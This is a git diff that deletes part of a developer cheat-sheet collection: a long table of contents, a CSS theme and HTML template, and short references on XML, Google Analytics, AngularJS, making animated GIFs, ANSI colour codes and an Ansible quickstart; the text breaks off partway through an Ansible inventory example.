--   [📋 Cheat Sheets](README.md)
-    -   [Files](readme/files.md)
-    -   [Terminal Cheat Sheet](readme/terminal-cheat-sheet.md)
-    -   [Flexbox Cheat Sheet](readme/flexbox-cheat-sheet.md)
-    -   [Common HTTP status codes Cheat Sheet](readme/common-http-status-codes-cheat-sheet.md)
-    -   [networking_cheatsheet](readme/networking_cheatsheet.md)
-    -   [Regular Expressions Cheat Sheet](readme/regular-expressions-cheat-sheet.md)
-    -   [REGEX units Cheat Sheet](readme/regex-units-cheat-sheet.md)
--   [bash_cheatsheet](bash_cheatsheet.md)
--   [Google dork cheatsheet](google-dork-cheatsheet.md)
--   [Cheatsheet-v2](cheatsheet-v2.md)
-
-## 🕸 💻 💻 Javascript
-
--   [JavaScript](javascript/javascript/README.md)
-    -   [Javascript Python cheatsheet](javascript/javascript/javascript-python-cheatsheet.md)
-    -   [General](javascript/javascript/general/README.md)
-        -   [JavaScript Promise API Cheat Sheet](javascript/javascript/general/javascript-promise-api-cheat-sheet.md)
-        -   [Chai.js](javascript/javascript/general/chai.js.md)
-        -   [Canvas](javascript/javascript/general/canvas.md)
-        -   [ES6 EXPORTS](javascript/javascript/general/es6-exports.md)
-        -   [Asynchronous JavaScript Cheat Sheet](javascript/javascript/general/asynchronous-javascript-cheat-sheet.md)
-    -   [React](javascript/javascript/react/README.md)
-        -   [React Cheat Sheet](javascript/javascript/react/react-cheat-sheet/README.md)
-            -   [React Component Guide](javascript/javascript/react/react-cheat-sheet/react-component-guide.md)
-        -   [React Patterns:](javascript/javascript/react/react-patterns.md)
-        -   [react-examples](javascript/javascript/react/react-examples.md)
-        -   [React.js](javascript/javascript/react/react.js/README.md)
-            -   [Bootstrap](javascript/javascript/react/react.js/bootstrap.md)
-        -   [React.js cheatsheet 2](javascript/javascript/react/react.js-cheatsheet-2.md)
-        -   [React-router](javascript/javascript/react/react-router.md)
-        -   [React.js (v0.14)](javascript/javascript/react/react.js-v0.14.md)
-        -   [React.js](javascript/javascript/react/react.js-1.md)
-        -   [React Patterns:](javascript/javascript/react/react-patterns-1.md)
-    -   [⚖ Libraries & Frameworks](javascript/javascript/libraries-and-frameworks/README.md)
-        -   [LOADASH Cheat Sheet](javascript/javascript/libraries-and-frameworks/loadash-cheat-sheet.md)
-        -   [sequelize_cheatsheet](javascript/javascript/libraries-and-frameworks/sequelize_cheatsheet.md)
-        -   [Sequelize Cheatsheet](javascript/javascript/libraries-and-frameworks/sequelize-cheatsheet.md)
-    -   [Node & Express](javascript/javascript/node-and-express/README.md)
-        -   [ExpressJS Cheat Sheet](javascript/javascript/node-and-express/expressjs-cheat-sheet.md)
-    -   [CHEATSHEET](javascript/javascript/cheatsheet-3.md)
-    -   [NPM Cheat Sheet](javascript/javascript/npm-cheat-sheet/README.md)
-        -   [NPM Command Line Cheat Sheet](javascript/javascript/npm-cheat-sheet/npm-command-line-cheat-sheet.md)
-    -   [Function Context Cheatsheet](javascript/javascript/function-context-cheatsheet.md)
-    -   [js-model](javascript/javascript/js-model.md)
-
-## 💻 CS-Concepts
-
--   [Computer Science Concepts](cs-concepts/computer-science-concepts/README.md)
-    -   [Data Structures](data-structures/README.md)
-        -   [The Queue data structure](data-structures/the-queue-data-structure.md)
-        -   [Cheat Sheet for Beginners: JavaScript Data Structures Methods](data-structures/cheat-sheet-for-beginners-javascript-data-structures-methods.md)
-        -   [MDN Web Docs Glossary: Definitions of Web-related terms \\| MDN](data-structures/mdn-web-docs-glossary-definitions-of-web-related-terms-or-mdn.md)
-        -   [Data Structures Cheat Sheet](data-structures/data-structures-cheat-sheet.md)
-        -   [The Tree data structure](data-structures/the-tree-data-structure.md)
-        -   [An Executable Data Structures Cheat Sheet for Interviews](cs-concepts/computer-science-concepts/data-structures/an-executable-data-structures-cheat-sheet-for-interviews.md)
-    -   [networking_cheatsheet](cs-concepts/computer-science-concepts/networking_cheatsheet.md)
-
-## Tools
-
--   [🛠 Tools](tools/tools/README.md)
-    -   [VSCODE Cheat Sheet](tools/tools/vscode-cheat-sheet.md)
-    -   [Emmet](tools/tools/emmet.md)
-
-## 📼 Guides-Tutorials
-
--   [Tutorials](guides-tutorials/tutorials/README.md)
-    -   [React.js](guides-tutorials/tutorials/react.js.md)
-
----
-
--   [JavaScript Arrays](javascript-arrays.md)
--   [editorconfig](editorconfig.md)
--   [AWS CLI](aws-cli.md)
--   [ES6 EXPORTS](es6-exports.md)
--   [Flynn](flynn.md)
-
-## Github
-
--   [Github](github/github/README.md)
-    -   [Github Cheat Sheet](github/github/github-cheat-sheet.md)
--   [git log](git-log.md)
--   [GITHUB Cheat Sheet](github/github-cheat-sheet/README.md)
-    -   [An Executable Data Structures Cheat Sheet for Interviews](github/github-cheat-sheet/an-executable-data-structures-cheat-sheet-for-interviews.md)
-    -   [graphs_cheatsheet](github/github-cheat-sheet/graphs_cheatsheet.md)
-
-## General
-
--   [General](general/general.md)
-
-## 👨💻 👨💻 💻 Programming Languages
-
--   [🐍 Python:](programming-languages/python/README.md)
-    -   [Python](programming-languages/python/python/README.md)
-        -   [What is Python](programming-languages/python/python/what-is-python.md)
-    -   [Regex In Python](programming-languages/python/regex-in-python.md)
--   [HTML](programming-languages/html.md)
-
----
-
--   [EC2 API tools](ec2-api-tools/README.md)
-    -   [MARKDOWN](ec2-api-tools/markdown.md)
-    -   [🧘♂ PSQL](ec2-api-tools/psql/README.md)
-        -   [POSTGRES](ec2-api-tools/psql/postgres.md)
-        -   [postgreSQL_cheatsheet](ec2-api-tools/psql/postgresql_cheatsheet.md)
--   [ES6 IMPORTS](es6-imports/README.md)
-    -   [bash_cheatsheet](es6-imports/bash_cheatsheet.md)
-    -   [cleancode](guides-tutorials/tutorials/cleancode.md)
-    -   [🔨 Bash](es6-imports/bash/README.md)
-        -   [Bash Cheat Sheet](es6-imports/bash/bash-cheat-sheet.md)
-        -   [Learn Bash Scripting: Bash Scripting Cheatsheet](es6-imports/bash/learn-bash-scripting-bash-scripting-cheatsheet.md)
-        -   [Curl](es6-imports/bash/curl.md)
-        -   [Bash Shortcuts Cheat Sheet](es6-imports/bash/bash-shortcuts-cheat-sheet.md)
-        -   [SSH Cheatsheet](es6-imports/bash/ssh-cheatsheet.md)
-        -   [Linux](es6-imports/bash/linux.md)
-    -   [CSS](es6-imports/css/README.md)
-        -   [CSS](es6-imports/css/css/README.md)
-            -   [CSS Grid](es6-imports/css/css/css-grid.md)
-            -   [cssnext](es6-imports/css/css/cssnext.md)
-            -   [CSS Cheat Sheet](es6-imports/css/css/css-selectors.md)
-            -   [CSS Flex Box](es6-imports/css/css/css-flex-box.md)
-            -   [CSS tricks](es6-imports/css/css/css-tricks.md)
-            -   [CSS selectors](es6-imports/css/css/css-selectors-1.md)
-            -   [cssnext](es6-imports/css/css/cssnext-1.md)
-            -   [CSS background](es6-imports/css/css/css-background.md)
-            -   [CSS animations](es6-imports/css/css/css-animations.md)
-    -   [Typescript](es6-imports/typescript.md)
--   [Computer Science Concepts](computer-science-concepts/README.md)
-    -   [An Executable Data Structures Cheat Sheet for Interviews](computer-science-concepts/an-executable-data-structures-cheat-sheet-for-interviews.md)
-    -   [graphs_cheatsheet](computer-science-concepts/graphs_cheatsheet.md)
-    -   [networking_cheatsheet](computer-science-concepts/networking_cheatsheet.md)
-    -   [Firebase](computer-science-concepts/firebase.md)
-    -   [networking_cheatsheet](computer-science-concepts/networking_cheatsheet-2.md)
-    -   [🛐 Heroku Cheat Sheet](computer-science-concepts/heroku-cheat-sheet.md)
-    -   [Binary Tree](computer-science-concepts/binary-tree.md)
-
-## 📚 Docs
-
--   [Docs](docs/docs/README.md)
-    -   [editorconfig](docs/docs/editorconfig.md)
-    -   [EC2 API tools](docs/docs/ec2-api-tools.md)
-    -   [Asynchronous JavaScript Cheat Sheet](docs/docs/asynchronous-javascript-cheat-sheet.md)
-    -   [CHEATSHEET (3)](docs/docs/cheatsheet-3.md)
-    -   [js-model](docs/docs/js-model.md)
-    -   [Emmet](docs/docs/emmet.md)
-    -   [Binary Tree](docs/docs/binary-tree.md)
-    -   [Python](docs/docs/python.md)
-    -   [Contributor Covenant Code of Conduct](docs/docs/contributor-covenant-code-of-conduct.md)
-    -   [networking_cheatsheet](docs/docs/networking_cheatsheet.md)
-    -   [Common HTTP status codes Cheat Sheet](docs/docs/common-http-status-codes-cheat-sheet.md)
-    -   [AWS CLI](docs/docs/aws-cli.md)
-    -   [Linux](docs/docs/linux.md)
-    -   [networking_cheatsheet](docs/docs/networking_cheatsheet-1.md)
-    -   [React Patterns:](docs/docs/react-patterns.md)
-    -   [MDN Web Docs Glossary: Definitions of Web-related terms \\| MDN](docs/docs/mdn-web-docs-glossary-definitions-of-web-related-terms-or-mdn.md)
-    -   [JavaScript Arrays](docs/docs/javascript-arrays.md)
-    -   [Linux](docs/docs/linux-1.md)
-    -   [Javascript Python cheatsheet](docs/docs/javascript-python-cheatsheet.md)
-    -   [Cheatsheet-v2](docs/docs/cheatsheet-v2.md)
-    -   [Binary Tree](docs/docs/binary-tree-1.md)
-    -   [Heroku Cheat Sheet](docs/docs/heroku-cheat-sheet.md)
-    -   [Asynchronous JavaScript Cheat Sheet](docs/docs/asynchronous-javascript-cheat-sheet-1.md)
-    -   [Cheatsheet Compilation](docs/docs/cheatsheet-compilation.md)
-    -   [AWS CLI](docs/docs/aws-cli-1.md)
-    -   [EC2 API tools](docs/docs/ec2-api-tools-1.md)
-    -   [Common HTTP status codes Cheat Sheet](docs/docs/common-http-status-codes-cheat-sheet-1.md)
-    -   [Firebase](docs/docs/firebase.md)
-    -   [The Queue data structure](docs/docs/the-queue-data-structure.md)
-    -   [Cheat Sheet for Beginners: JavaScript Data Structures Methods](docs/docs/cheat-sheet-for-beginners-javascript-data-structures-methods.md)
diff --git a/docs/content/cheat-sheets/Theme.css b/docs/content/cheat-sheets/Theme.css
deleted file mode 100644
index 8f226abe30..0000000000
--- a/docs/content/cheat-sheets/Theme.css
+++ /dev/null
@@ -1,335 +0,0 @@
-html,
-body {
-    color: #333;
-    background: white;
-    font-family: medium-content-serif-font, Georgia, Cambria, 'Times New Roman', Times, serif;
-    font-style: normal;
-    font-size: 20px;
-    line-height: 1.6;
-    -webkit-font-smoothing: antialiased;
-    height: 100%;
-    padding: 10px !important;
-    margin: 0;
-    scrollbar-track-color: Whitesmoke;
-    scrollbar-arrow-color: silver;
-    scrollbar-base-color: #ddd;
-    scrollbar-face-color: #ddd;
-    -ms-overflow-style: -ms-autohiding-scrollbar !important;
-}
-
-h1,
-h2,
-h3,
-h4,
-h5,
-h6,
-.byline,
-.content-title {
-    font-family: apple-system, BlinkMacSystemFont, 'Segoe UI', 'Source Sans Pro', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif,
-        'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol';
-    margin-top: 1em;
-    margin-bottom: 16px;
-    color: #333;
-    font-weight: 600;
-}
-
-h1 {
-    padding-bottom: 0.3em;
-    font-size: 40px;
-    line-height: 1.04;
-    margin-bottom: 16px;
-}
-
-h2 {
-    font-size: 1.6em;
-    border-bottom: 1px solid #eee;
-}
-
-h3 {
-    display: block;
-    font-size: 32px;
-}
-
-h4 {
-    font-size: 24px;
-}
-
-h5,
-h6 {
-    font-size: 1em;
-}
-
-a,
-a:visited {
-    text-decoration: none;
-    color: steelblue;
-    font-weight: 600;
-}
-
-a:hover {
-    text-decoration: underline;
-}
-
-li {
-    margin-bottom: 12px;
-    margin-top: 12px;
-}
-
-code {
-    font-family: Consolas, monospace;
-    color: #333;
-    background: #eee;
-}
-
-pre {
-    font-family: menlo, consolas, monospace;
-    font-weight: normal;
-    font-size: 87%;
-    line-height: 1.4;
-    margin: 7px 0;
-    padding: 0;
-    border: 1px solid #ddd;
-    border-radius: 5px;
-    overflow-x: auto;
-    max-width: 98%;
-    white-space: pre;
-    word-break: normal;
-    word-wrap: normal;
-    background: #f6f6f6;
-}
-
-pre > code {
-    white-space: pre;
-    padding: 0.8em !important;
-    display: block;
-    background: transparent;
-    font-weight: normal;
-}
-pre > code::-webkit-scrollbar {
-    width: 8px;
-    height: 8px;
-    background: #bbb;
-}
-pre > code::-webkit-scrollbar-thumb {
-    background: #888;
-}
-table {
-    width: 100%;
-    overflow: auto;
-    border-spacing: 0;
-    border-collapse: collapse;
-    margin: 15px 0;
-    border-color: gray;
-}
-
-td,
-th {
-    border: 1px solid #ddd;
-    padding: 6px 13px;
-    display: table-cell;
-    vertical-align: top;
-}
-
-th {
-    font-weight: bold;
-}
-
-tbody > tr:nth-child(even) {
-    background: #eee;
-}
-
-img {
-    max-width: 100%;
-    margin: 0 auto;
-}
-
-ul,
-ol {
-    margin: 1.1em 0;
-}
-
-li {
-    margin: 0.6em 0.2em 0.6em 1em;
-}
-
-ul > li > ul > li > ul > li {
-    list-style: disc;
-}
-
-ul > li > ul > li {
-    list-style: square;
-}
-
-.task-list-item {
-    list-style: none;
-    margin-left: -2em;
-}
-/* definition lists can be toggled*/
-dt {
-    font-size: 1.08em;
-    font-weight: bold;
-    text-decoration: underline;
-    padding-top: 0.5em;
-    cursor: pointer;
-}
-
-dd {
-    margin: 0;
-    padding: 0 0 0.2em 1em;
-    display: none;
-}
-
-blockquote {
-    background: #f8f8f8;
-    font-size: 1.1em;
-    padding: 5px 10px 5px 15px;
-    margin: 30px 10px;
-    border-left: 7px #ddd solid;
-}
-
-blockquote h3,
-blockquote h4,
-blockquote h5 {
-    margin-top: 8px;
-}
-
-hr {
-    margin: 12px 0;
-}
-
-.figure .caption,
-figure figcaption {
-    font-size: 0.8em;
-    font-style: italic;
-    margin-top: 0;
-}
-/* hidden display, but still part of document flow */
-.hidden {
-    display: none;
-}
-
-.hidden-nowidth {
-    width: 0;
-}
-
-.visually-hidden {
-    border: 0;
-    clip: rect(0 0 0 0);
-    height: 1px;
-    margin: -1px;
-    overflow: hidden;
-    padding: 0;
-    position: absolute;
-    width: 1px;
-}
-
-.line-highlight {
-    background: #e9f5ff !important;
-}
-
-p.line-highlight,
-h1.line-highlight,
-h2.line-highlight,
-h3.line-highlight,
-h4.line-highlight {
-    border-radius: 4px;
-    margin-left: -10px;
-    margin-right: -10px;
-    padding-left: 10px;
-    padding-right: 10px;
-}
-
-#MainContent {
-    margin: 0 auto;
-    padding: 10px 40px;
-    max-width: 840px;
-    color: #626262;
-}
-
-/* DocFx Styles*/
-.CAUTION,
-.IMPORTANT,
-.INFO,
-.TIP,
-.NOTE,
-.WARNING {
-    padding: 0.1px 20px;
-    margin: 15px 0;
-    border-radius: 4px;
-}
-
-.CAUTION > h5,
-.IMPORTANT > h5,
-.INFO > h5,
-.TIP > h5,
-.NOTE > h5,
-.WARNING > h5 {
-    color: inherit;
-}
-
-.CAUTION,
-.IMPORTANT {
-    color: #a94442;
-    background-color: #f2dede;
-    border-color: #ebccd1;
-}
-
-.WARNING {
-    color: #8a6d3b;
-    background-color: #fcf8e3;
-    border-color: #faebcc;
-}
-
-.INFO,
-.TIP,
-.NOTE {
-    color: #31708f;
-    background-color: #d9edf7;
-    border-color: #bce8f1;
-}
-
-.NOTE h5:before,
-.TIP h5:before {
-    content: '\f05a';
-    font-family: FontAwesome;
-    padding-right: 6px;
-}
-
-.WARNING h5:before,
-.CAUTION h5:before {
-    content: '\f071';
-    font-family: FontAwesome;
-    padding-right: 6px;
-}
-
-.IMPORTANT h5:before {
-    content: '\f06a';
-    font-family: FontAwesome;
-    padding-right: 6px;
-}
-
-xref {
-    display: block;
-}
-
-@media (min-width: 1080px) {
-    html,
-    body {
-    }
-}
-
-@media print {
-    pre {
-        white-space: pre-wrap;
-        word-break: normal;
-        word-wrap: normal;
-    }
-
-    pre > code {
-        white-space: pre-wrap;
-        padding: 1em !important;
-        /* highlight js overrides for wkhtmltopdf - match to theme */
-        background: #f6f6f6;
-        color: #333333;
-    }
-}
diff --git a/docs/content/cheat-sheets/Theme.html b/docs/content/cheat-sheets/Theme.html
deleted file mode 100644
index d9fba935da..0000000000
--- a/docs/content/cheat-sheets/Theme.html
+++ /dev/null
@@ -1,27 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <base href="{$docPath}" />
-        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-        <meta charset="utf-8" />
-
-        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
-        <link href="{$themePath}..\Scripts\bootstrap\css\bootstrap.min.css" rel="stylesheet" />
-        <link href="{$themePath}..\scripts\fontawesome\css\font-awesome.min.css" rel="stylesheet" />
-        <link href="{$themePath}Theme.css" rel="stylesheet" />
-
-        <script src="{$themePath}..\scripts\jquery.min.js"></script>
-        <link href="{$themePath}..\scripts\highlightjs/styles/github-gist.css" rel="stylesheet" />
-        <script src="{$themePath}..\scripts\highlightjs\highlight.pack.js"></script>
-        <script src="{$themePath}..\scripts\preview.js" id="PreviewScript"></script>
-        {$extraHeaders}
-    </head>
-
-    <body>
-        <div id="MainContent">
-            <!-- Markdown Monster Content -->
-            {$markdownHtml}
-            <!-- End Markdown Monster Content -->
-        </div>
-    </body>
-</html>
diff --git a/docs/content/cheat-sheets/XML.md b/docs/content/cheat-sheets/XML.md
deleted file mode 100644
index d1e14e0197..0000000000
--- a/docs/content/cheat-sheets/XML.md
+++ /dev/null
@@ -1,67 +0,0 @@
-> announcement: this doc is a quiz-, interview-oriented cheatsheet, which desigend for those who want to have an overview of XML, when preparing for interviews.
-
-# What is XML
-
-XML stands for eXtensible Markup Language, XML was designed to store and transport data. XML is often used for distributing data over the Internet(especial in web development).
-
-# Then how can XML store data
-
-XML uses a DTD to describe the data.
-
-# The relation with HTML
-
--   XML: is used to store or transport data.
-    So the XML is a **Complement** to HTML.
--   HTML: is used to format and display the same data.
-
-XML does not carry any information about how to be displayed. The same XML data can be used in many different presentation scenarios.
-Because of this, with XML, there is a full separation between data and presentation.
-
-# What is XML Schema/DTD
-
-The purpose of a DTD is to define the structure of an XML document. It defines the structure with a list of legal elements:
-
-# When Not to Use a XML DTD/Sschema
-
-XML does not require a DTD/Schema.
-
-When you are experimenting with XML, or when you are working with small XML files, creating DTDs may be a waste of time.
-
-If you develop applications, wait until the specification is stable before you add a document definition. Otherwise, your software might stop working because of validation errors.
-
-# XML Syntax
-
-The XML language has no predefined tags, but the syntax is rather logic and easy to learn. XML documents must contain one root element that is the parent of all other elements.
-
-```
-<bookstore>
-  <book category="children">
-    <title>Harry Potter</title>
-    <author>J K. Rowling</author>
-    <year>2005</year>
-    <price>29.99</price>
-  </book>
-  <book category="web">
-    <title>Learning XML</title>
-    <author>Erik T. Ray</author>
-    <year>2003</year>
-    <price>39.95</price>
-  </book>
-</bookstore>
-```
-
-1. XML Tags are Case Sensitive
-2. All XML Elements Must Have a Closeing Tag
-
-```
-<p>This is a paragraph.</p>
-<br />  <!-- This is a self closing -->
-```
-
-3. XML Attribute Values Must Always be Quoted
-4. Pay attention to the name rules.
-
-# Reference
-
-1. (W3School) [https://www.w3schools.com/xml/]
-2. [cheat sheet in German](https://www.i-d-e.de/wp-content/uploads/2015/02/ide-xml-kurzreferenz.pdf)
diff --git a/docs/content/cheat-sheets/analytics.js.md b/docs/content/cheat-sheets/analytics.js.md
deleted file mode 100644
index 472ce3897e..0000000000
--- a/docs/content/cheat-sheets/analytics.js.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Google Analytics's analytics.js
-category: Analytics
-
-intro: |
-Google Analytics's analytics.js is deprecated.
-
----
-
-### Page view
-
-```js
-ga('create', 'UA-XXXX-Y', 'auto');
-ga('create', 'UA-XXXX-Y', { userId: 'USER_ID' });
-```
-
-```js
-ga('send', 'pageview');
-ga('send', 'pageview', { dimension15: 'My custom dimension' });
-```
-
-### Events
-
-```js
-ga('send', 'event', 'button', 'click', { color: 'red' });
-```
-
-```js
-ga('send', 'event', 'button', 'click', 'nav buttons', 4);
-/*                  ^category  ^action  ^label          ^value */
-```
-
-### Exceptions
-
-```js
-ga('send', 'exception', {
-    exDescription: 'DatabaseError',
-    exFatal: false,
-    appName: 'myapp',
-    appVersion: '0.1.2'
-});
-```
diff --git a/docs/content/cheat-sheets/analytics.md b/docs/content/cheat-sheets/analytics.md
deleted file mode 100644
index 580302155b..0000000000
--- a/docs/content/cheat-sheets/analytics.md
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Analytics libraries
-
-category: Analytics
-
----
-
-### Mixpanel
-
-```js
-mixpanel.identify('284');
-mixpanel.people.set({ $email: 'hi@gmail.com' });
-mixpanel.register({ age: 28, gender: 'male' }); /* set common properties */
-```
-
-[mixpanel](./mixpanel)
-{: .-crosslink}
-
-### Google Analytics's analytics.js
-
-```js
-ga('create', 'UA-XXXX-Y', 'auto');
-ga('create', 'UA-XXXX-Y', { userId: 'USER_ID' });
-```
-
-```js
-ga('send', 'pageview');
-ga('send', 'pageview', { dimension15: 'My custom dimension' });
-```
-
-[analytics.js](./analytics.js)
-{: .-crosslink}
diff --git a/docs/content/cheat-sheets/angularjs.md b/docs/content/cheat-sheets/angularjs.md
deleted file mode 100644
index 95ccdb1412..0000000000
--- a/docs/content/cheat-sheets/angularjs.md
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Angular.js
-category: JavaScript libraries
-
----
-
-```html
-<html ng-app="nameApp"></html>
-```
-
-### Lists (ng-repeat)
-
-```html
-<ul ng-controller="MyListCtrl">
-    <li ng-repeat="phone in phones">{{phone.name}}</li>
-</ul>
-```
-
-### Model (ng-model)
-
-```html
-<select ng-model="orderProp">
-    <option value="name">Alphabetical</option>
-    <option value="age">Newest</option>
-</select>
-```
-
-### Defining a module
-
-```js
-    App = angular.module('myApp', []);
-
-    App.controller('MyListCtrl', function ($scope) {
-      $scope.phones = [ ... ];
-    });
-```
-
-### Controller with protection from minification
-
-```js
-    App.controller('Name', [
-      '$scope',
-      '$http',
-      function ($scope, $http) {
-      }
-    ]);
-
-    a.c 'name', [
-      '$scope'
-      '$http'
-      ($scope, $http) ->
-    ]
-```
-
-### Service
-
-```js
-App.service('NameService', function ($http) {
-    return {
-        get: function () {
-            return $http.get(url);
-        }
-    };
-});
-```
-
-In controller you call with parameter and will use promises to return data from server.
-
-```js
-App.controller('controllerName', function (NameService) {
-    NameService.get().then(function () {});
-});
-```
-
-### Directive
-
-```js
-App.directive('name', function () {
-    return {
-        template: '<h1>Hello</h1>'
-    };
-});
-```
-
-In HTML will use `<name></name>` to render your template `<h1>Hello</h1>`
-
-### HTTP
-
-```js
-App.controller('PhoneListCtrl', function ($scope, $http) {
-    $http.get('/data.json').success(function (data) {
-        $scope.phones = data;
-    });
-});
-```
-
-References:
-
--   https://github.com/angular/angular-seed
--   https://angularjs.org/
diff --git a/docs/content/cheat-sheets/animated_gif.md b/docs/content/cheat-sheets/animated_gif.md
deleted file mode 100644
index 45b2c5faf2..0000000000
--- a/docs/content/cheat-sheets/animated_gif.md
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Animated GIFs
-category: CLI
-
----
-
-## Animated GIFs
-
-{: .-one-column}
-
-### Convert MP4 to GIF
-
-```bash
-mkdir -p gif
-mplayer -ao null -vo gif89a:outdir=gif $INPUT
-mogrify -format gif *.png
-gifsicle --colors=256 --delay=4 --loopcount=0 --dither -O3 gif/*.gif > ${INPUT%.*}.gif
-rm -rf gif
-```
-
-You'll need `mplayer`, `imagemagick` and `gifsicle`. This converts frames to .png, then turns them into an animated gif.
-
-### A given range
-
-```bash
-mplayer -ao null -ss 0:02:06 -endpos 0:05:00 -vo gif89a:outdir=gif videofile.mp4
-```
-
-See `-ss` and `-endpos`.
diff --git a/docs/content/cheat-sheets/ansi.md b/docs/content/cheat-sheets/ansi.md
deleted file mode 100644
index df3d98e560..0000000000
--- a/docs/content/cheat-sheets/ansi.md
+++ /dev/null
@@ -1,96 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# Reset
-
-Color_Off='\e[0m' # Text Reset
-
-# Regular Colors
-
-Black='\e[0;30m' # Black
-Red='\e[0;31m' # Red
-Green='\e[0;32m' # Green
-Yellow='\e[0;33m' # Yellow
-Blue='\e[0;34m' # Blue
-Purple='\e[0;35m' # Purple
-Cyan='\e[0;36m' # Cyan
-White='\e[0;37m' # White
-
-# Bold
-
-BBlack='\e[1;30m' # Black
-BRed='\e[1;31m' # Red
-BGreen='\e[1;32m' # Green
-BYellow='\e[1;33m' # Yellow
-BBlue='\e[1;34m' # Blue
-BPurple='\e[1;35m' # Purple
-BCyan='\e[1;36m' # Cyan
-BWhite='\e[1;37m' # White
-
-# Underline
-
-UBlack='\e[4;30m' # Black
-URed='\e[4;31m' # Red
-UGreen='\e[4;32m' # Green
-UYellow='\e[4;33m' # Yellow
-UBlue='\e[4;34m' # Blue
-UPurple='\e[4;35m' # Purple
-UCyan='\e[4;36m' # Cyan
-UWhite='\e[4;37m' # White
-
-# Background
-
-On_Black='\e[40m' # Black
-On_Red='\e[41m' # Red
-On_Green='\e[42m' # Green
-On_Yellow='\e[43m' # Yellow
-On_Blue='\e[44m' # Blue
-On_Purple='\e[45m' # Purple
-On_Cyan='\e[46m' # Cyan
-On_White='\e[47m' # White
-
-# High Intensity
-
-IBlack='\e[0;90m' # Black
-IRed='\e[0;91m' # Red
-IGreen='\e[0;92m' # Green
-IYellow='\e[0;93m' # Yellow
-IBlue='\e[0;94m' # Blue
-IPurple='\e[0;95m' # Purple
-ICyan='\e[0;96m' # Cyan
-IWhite='\e[0;97m' # White
-
-# Bold High Intensity
-
-BIBlack='\e[1;90m' # Black
-BIRed='\e[1;91m' # Red
-BIGreen='\e[1;92m' # Green
-BIYellow='\e[1;93m' # Yellow
-BIBlue='\e[1;94m' # Blue
-BIPurple='\e[1;95m' # Purple
-BICyan='\e[1;96m' # Cyan
-BIWhite='\e[1;97m' # White
-
-# High Intensity backgrounds
-
-On_IBlack='\e[0;100m' # Black
-On_IRed='\e[0;101m' # Red
-On_IGreen='\e[0;102m' # Green
-On_IYellow='\e[0;103m' # Yellow
-On_IBlue='\e[0;104m' # Blue
-On_IPurple='\e[0;105m' # Purple
-On_ICyan='\e[0;106m' # Cyan
-On_IWhite='\e[0;107m' # White
diff --git a/docs/content/cheat-sheets/ansible-examples.md b/docs/content/cheat-sheets/ansible-examples.md
deleted file mode 100644
index 6ae7f72394..0000000000
--- a/docs/content/cheat-sheets/ansible-examples.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Ansible examples
-category: Ansible
-
----
-
-### Examples
-
--   [Ruby installation](https://github.com/chelsea/ansible-example-ruby/blob/master/roles/webserver/tasks/main.yml) _(github.com)_
--   [Postgres installation](https://github.com/chelsea/ansible-example-ruby/blob/master/roles/db/tasks/main.yml) _(github.com)_
--   [GitLab installation](https://github.com/tingtun/ansible-playbook-gitlab) _(github.com)_
diff --git a/docs/content/cheat-sheets/ansible-guide.md b/docs/content/cheat-sheets/ansible-guide.md
deleted file mode 100644
index d0dcd18846..0000000000
--- a/docs/content/cheat-sheets/ansible-guide.md
+++ /dev/null
@@ -1,123 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: "Ansible quickstart"
-category: Ansible
-
-description: |
-A quick guide to getting started with your first Ansible playbook.
-
----
-
-### Install Ansible
-
-```bash
-$ brew install ansible            # OSX
-$ [sudo] apt install ansible      # elsewhere
-```
-
-Ansible is available as a package in most OS's.
-
-See: [Installation](http://docs.ansible.com/ansible/latest/intro_installation.html)
-
-### Start your project
-
-```bash
-~$ mkdir setup
-~$ cd setup
-```
-
-Make a folder for your Ansible files.
-
-See: [Getting started](http://docs.ansible.com/ansible/latest/intro_getting_started.html)
-
-## Creating your files
-
-### Inventory file
-
-#### ~/setup/hosts
-
-```dosini
-[sites]
-127.0.0.1
-192.168.0.1
-192.168.0.2
